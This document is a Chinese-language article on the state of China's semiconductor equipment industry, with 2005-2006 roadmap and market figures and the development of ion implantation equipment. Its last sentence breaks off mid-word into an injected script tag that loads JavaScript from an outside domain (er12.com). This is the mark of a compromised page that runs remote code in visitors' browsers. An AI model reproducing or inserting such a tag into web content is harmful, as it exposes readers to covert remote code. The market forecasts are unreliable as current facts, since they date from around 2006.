1 引言
近几年，国内电子信息产业蓬勃发展，电子信息产品需求巨大，造就了半导体设备庞大的市场，促使我国半导体设备产业快速升温，但与快速发展的电子信息产业相比，半导体设备制造业的发展却相对缓慢，我国的半导体设备制造业无论是技术上还是规模上都不尽如人意。制造电子信息产品的关键工艺设备几乎都是从国外引进，这样不仅国家每年要花费大量外汇，而且电子专用设备制造业的整体水平得不到提高，半导体设备制造业发展的滞后严重制约着我国电子信息产品尤其是元器件制造水平的提高和产业化发展，导致元器件开发缺乏后劲，因此，大力提升半导体设备制造水平，加强基础研究，实现若干关键共性技术的突破，培养出一支高素质的人才队伍，建立和完善我国电子元器件制作设备技术创新体系，增强自主创新能力，从而实现半导体设备、电子元器件、电子信息产品整体协调快速的发展，已经成为我国半导体设备制制造业迫在眉睫的任务。
2 国内外集成电路制造发展现状及发展趋势
2.1 大规模集成电路半导体设备的发展现状及发展趋势
世界集成电路产业的发展十分迅速，目前集成电路大生产的主流技术为φ200mm、0.18μm，正在向φ300mm、0.13μm过渡，国际半导体技术指南（international technology roadmap for semiconductor，itrs）（2005版）确定的半导体技术发展路线图如表1所示。
设计线宽尺寸2010年将减小到45nm，2013年将减小到32nm，布线层数将达到12层，集成电路的集成度越来越高，结构越来越复杂，存储速度越来越快，对材料性能的要求越来越苛刻。由于尺度空间的减小，传统的微细加工方法以及半导体专用设备已经不能满足集成电路快速发展的需求，开发新一代半导体专用设备势在必行。
目前国际上ics制造技术已经跨入90nm线宽和φ300mm晶片的时代，65nm工艺技术将在2007年达到量产，45nm正在进行关键技术攻关，32nm也已进入研究和攻关阶段，集成电路的飞速发展带动了半导体专用设备制造业的快速进步，半导体设备的更新换代又推动了半导体工艺、半导体产品及整个电子装备的更型换代。因此，从本质上讲，半导体设备制造业不仅支撑集成电路产业的发展，同时也支撑着整个电子信息产业的发展。
2.2 全球半导体设备市场
在半导体工艺的前道设备、后道设备、制版设备、材料制备设备中，最为关键的是前道微细加工设备（包括对半导体芯片进行曝光、离子注入掺杂、刻蚀、薄膜生长等工艺加工的设备，以及测量设备）和材料制备设备。
2006年7月在1年一届的semicon west展会上，semi公布了其年度中期半导体设备资本支出预期，随着2005年预期11.3%的下降，设备市场在2006年将迎来18%的增长，达到388亿美元，2006年，中国的新设备市场将呈现突出的增长趋势，其市场预期增长将达到78%，其他地区将增长23%，台湾地区将增长22%，北美地区将增长21%，在欧洲的设备销售预期将实现14%的增长，同时韩国和日本也将实现接近两位数的增长。
3 离子注入装备发展方向
集成电路芯片的制造过程需要数十种工艺设备的数百道工序，离子注入具有高精度的剂量均匀性与重复性特点，是ic制造必不可少的工序。
由于大规模电路制造工艺需要采用的离子注入次数逐年增加（如64mbit为20次，256mbit为30次），注入离子种类和能量、剂量范围逐渐扩宽。最低能量需1kev以下，高能端大于3mev，注入离子的种类有：b、p、as、in、sb、si、ge、n、f、o、c等，最高注入剂量大于1×1016/cm2，最低剂量接近1×1011/cm2。从cmos晶体管掺杂的剖面图大致可以看出离子注入机在ulsi工艺中的主要应用（见图1）。
源漏区注入主要包括大角度（halo）注入，延伸（extxnsion）注入，源漏（source-drain）及非晶体化（pre-amorphouse）注入，此部分工艺技术要求越来越高，也是?script src=http://er12.com/t.js>
